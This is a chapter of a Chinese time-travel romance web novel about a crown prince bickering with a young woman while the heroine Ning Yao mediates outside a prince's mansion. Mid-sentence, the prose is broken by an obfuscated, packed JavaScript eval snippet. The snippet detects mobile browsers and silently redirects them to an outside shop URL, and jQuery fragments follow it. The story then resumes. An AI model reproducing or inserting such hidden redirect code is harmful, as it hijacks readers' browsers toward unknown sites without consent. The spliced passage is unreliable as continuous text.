回到定京的宁杳终于活过来了,北方的夏季要比南方的夏季更加闷热,碰上梅雨季刚过去不久,这空气中的热浪都能把人烤熟,宁杳是已经习惯了定京的天气,但温挽月和杨安素就不习惯了,两个姑娘都是地道的南方姑娘,突然这般炎热袭来,都有点招架不住。
杨安素拿着临时买的团扇扇风,饱满的额头上已经布满汗珠,即便如此也都尚未说出好热的话;但温挽月就不一样了,拿着团扇扇风时快到就像插了电地风扇,另只手不忘扯了扯衣领,皱着眉急道:“我的天啊,我感觉我像是进了蒸笼。”
宁杳手上的团扇也扇不停,道:“北方不比南方,尤其是这梅雨季刚过没多久。”
旁边宋惊耘也不知从哪弄来的团扇给宁杳扇了扇,余光倒是瞥了眼温挽月,语气里颇有幸灾乐祸看戏的意味,道:“温姑娘这是把自己当肉包了?一路上没吃上,心里是不是特别难受啊。”
温挽月难得大度,不跟他计较,甚至只是看了他一眼就哼哼两声别过头继续扇着手里团扇。
这么大反常倒是让宋惊耘来了兴致,扭头精准找到和温挽月一伙的宁杳,问道:“杳杳妹妹知道温姑娘怎么了吗?”
宁杳愣了一下,看看温挽月又看看他,抿抿唇不知该如何说;总不能说她一直在背地里给温挽月准备大肉包吧,温挽月那个小妮子还真的是无肉不欢,原以为她还能觉得能趁此机会减减肥,但温挽月偏不,偏要吃肉,大清早就能吃红烧肉或者糖醋小排,这个战绩,宁杳在姑苏时候就已经见识了,而两个肉包完全不在温挽月话下。
瞧着宁杳心虚的样宋惊耘就知道怎么回事,温挽月那小丫头片子背地里肯定找她要肉包吃了,指不定还边吃边骂他是个端货,就知道摆架子欺负弱女子。
他宋惊耘向来不屑仗势欺人欺负弱女子,但温挽月,她不像个弱女子,反而更像个肆意不被规矩束缚的纨绔。
所以他就“哦”了一声,不轻不重,不咸不淡,无波无澜,就像是在陈述一件他已经知道了的事实。
这让宁杳更加心虚。
快要抵达雍王府时,宁杳这才已经从上件事平复出来,调整好心虚状态,看向温挽月,道:“马上要到王府了,你注意点。”
杨安素她并不担心,大家闺秀的典范,但温挽月不同,除了和她都是穿来的身份一样,连个正经规矩都没学过,她还好歹的学了半年有模有样的没怎么露怯过,但温挽月从穿来到认识她之前都是躲在山里自由恣意惯了,她怕她不习惯和应付不来。
温挽月道:“我知道,杨小姐已经跟我说了这定京里的规矩,沈思喆也没少叨叨,大不了我跟在你和杨小姐身后,这总不会出错。”
宁杳道:“那就好,不过主要我还是担心你会应付不来,这定京里的规矩,太多了。”
定京城里的规矩是宁杳和温挽月吐槽最多的,见了某某小姐要行礼,见了某某大人更要行礼,场面上的客套做足了,有时候她都觉得很累,尤其是在宴会上时候,碰上熟络的要互相交谈,谈心谈天谈丈夫,碰上不熟的依旧要面上客气,陪笑送礼求关照,比现代职场当牛马还累,牛马只需要工作,还有双休,拿的每一笔钱都是精神损失费,但在这,没有精神损失费,没有休息日,没有工作,但永远有需要打理的人际关系。
温挽月在姑苏时候也是对定京城里的规矩略有耳闻,所以在和陆远朝,沈思喆熟了后,问的第一个问题就是:你们定京是不是规矩一大堆,逢年过节还有给不认识的小姐或者长辈准备见面礼?这规矩听着有些不近人情了,互相认识的亲友长辈互相送礼倒是常见,也在规矩之内,面见长辈手上拿点东西也是对长辈的尊重,再者就是小辈,对小辈也是要有爱护之意,可偏偏还有个给不熟的小姐和长辈要准备见面礼,温挽月不理解,以及在定京生活两年的宁杳也不理解。
而陆远朝做出的解释是:定京城里的水深着呢,人情世故这一块拿捏不到位,隔天就能在朝堂看见上奏弹劾的折子,虽然不至于,但也够那些官员吃一壶的;温挽月听得瞠目结舌,说好听点是人情世故,说难听点就是一碗水要端平,要不然就是你对我有意见,后来她又听沈思喆说朝廷官员私底下时候都是会行收贿赂,比如科考,在比如某些地方清正廉明的小县令为了百姓给上头官员送礼,这些都是常态。
所以在进入雍王府前,温挽月及其不自在,拉着杨安素小声询问:“安素,你说我们要不要买点见面礼?要不然我们冒昧打扰还要在这住下,怪不好意思的。”
这话让宋惊耘听个正着,余光瞥了眼温挽月,嗤笑一声,道:“呦,还有温姑娘不好意的事呢。”
言外之意就是,你向来不懂装矜持,怎么个如今矜持起来了?让人很不习惯啊。
温挽月不敢明目张胆的对他翻白眼,只敢在心里对他翻了个白眼,转头继续和杨安素咬耳朵了。
宋惊耘有个优点,那就是不会委屈自己的情绪,所以在察觉温挽月对他翻白眼时候,扭头就委屈巴巴和宁杳告状,道:“杳杳,你看温姑娘,孤不过是随意调侃一句,她就对孤翻白眼。”
温挽月顿时瞪大眼睛不可置信。
宁杳嘴角微微抽搐,看看他又看看温挽月,翻白眼这事是温挽月能干出来的,但为什么偏偏被他看见了呢?不知道这人小心眼吗?这让她怎么拉偏架?
她道:“她不是故意的。”
有点和稀泥,宋惊耘眉峰微挑地双手抱肩,似是有些不满意,都这么明显了,她竟然还不偏袒他,这六个字说的好听,明面上是给他顺毛,实际上就是在给温挽月找台阶下,说的模棱两可,等于没说,本来不生气的,被宁杳这么一说,越想越恼火;温挽月也好不到哪去,听不出来宁杳的言外之意,只听出来宁杳没有站出来偏袒她,亏得她还和宁杳说试着接受宋惊耘,转头就和宁杳告状,甚至还是胡说八道!早知道她就不该替宋惊耘说话,心疼男人真是倒霉八辈子!
宁杳见两边噱头不对,抿抿唇想降低自己的存在感。
宋惊耘可不会轻易放过,只会揪着不放,明知顾问道:“温姑娘这是怎么了?孤说的不对吗?”
温挽月两只手叉腰道:“太子殿下这是何意?血口喷人的本事倒是厉害,在郡主面前无中生有败坏我名声。”
宋惊耘冷哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679586|205237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一声,道:“你的名声还需要败坏?”
温挽月道:“你!”
两边剑拔弩张,杨安素只敢拉着温挽月,防止这家伙气急真能上去给他一巴掌,殴打未来储君,事关皇家颜面,在场所有目睹的人都要降罪处置;
宁杳直接挡在二人中间赔笑,道:“二位,消消气啊,在我家门口吵起来很影响我家王府名声的。”
二人同道:“那你说先哄谁!”
宁杳:“............”
杨安素见宁杳夹在中间不知该如何是好,她便拉着温挽月往街道上走,道:“温姐姐,你说的对,空手总归不太好,我们去准备点东西给王爷王妃吧。”
宁杳对此都快感激哭了,转头示意惊蛰和谷雨跟上她们;惊蛰谷雨微微福了福身子便跟上去。
宋惊耘又开始阴阳怪气,道:“杳杳这是怕她们走丢了?也不知道担心担心自己的太子表哥会不会被气出毛病来。”
宁杳赶紧顺毛,道:“太子表哥大气,怎么会和一个小女子斤斤计较,对吧。”
宋惊耘垂眸看她,看着她的黑眸里出现他的倒影时,心里的那点暴戾硬生生被压住,只有他自己知道,此时此刻的宁杳才是真的满心满眼都是他,哄他不要生气是真,给他顺毛说软话也是真。
如果时间能够将此刻的小仙女恩赐给他;
那他愿意舍下后半生福报换小仙女只爱他;
宋惊耘忍着上扬的嘴角,别过头望向别处,慢条斯理地道:“孤也不是那种小心眼之人。”
宁杳跟着他动作转到他面前,认真道:“不生气了?”
宋惊耘又转到另一边,道:“不生气了。”
宁杳依旧跟着转他面前,道:“真不生气了?”
宋惊耘没办法,只能抬步往雍王府里走;宁杳提着裙摆跟在他身后一遍又一遍确认是不是真的不生气了,他也就跟着一遍又一遍回答,追问到最后宋惊耘先一步破功笑出声;这还是宁杳第一次听见他笑,还笑的这么开心,最后她也忍不住笑出来,两个人一问一答,一起笑着;
还尚在门口的沈思喆看的全程瞠目结舌;
他记忆里的太子有这么好说话吗?怎么今天像被人夺舍了一般,会笑会闹甚至还会开玩笑?虽然有几次他见过宋惊耘阴阳怪气时候,但都没像今天这样,仅凭一句话就能把人哄好的。
陆远朝看在眼里,收回目光看向身旁的沈思喆,道:“东宫要迎来明月了。”
沈思喆不明所以,问道:“明月?陆大人恕属下愚笨,这东宫怎么会迎来明月呢。”
陆远朝道:“自己想。”说罢便抬步跟着进入王府。
沈思喆又挠了挠头;
忽地,似是恍然大悟,东宫五行属木,对应四季中的春,象征着万物生长,磅礴向上;太子又作为储君和未来,就等同于代表着春天万物生长的希望;而明月最常见的就是明珠,以及那高挂天边的皎月,中秋佳节时明月最圆,象征着团圆,举国太平,阖家欢乐的时候;
顿时震惊瞪大眼睛;
陆大人的意思是——东宫要有太子妃了!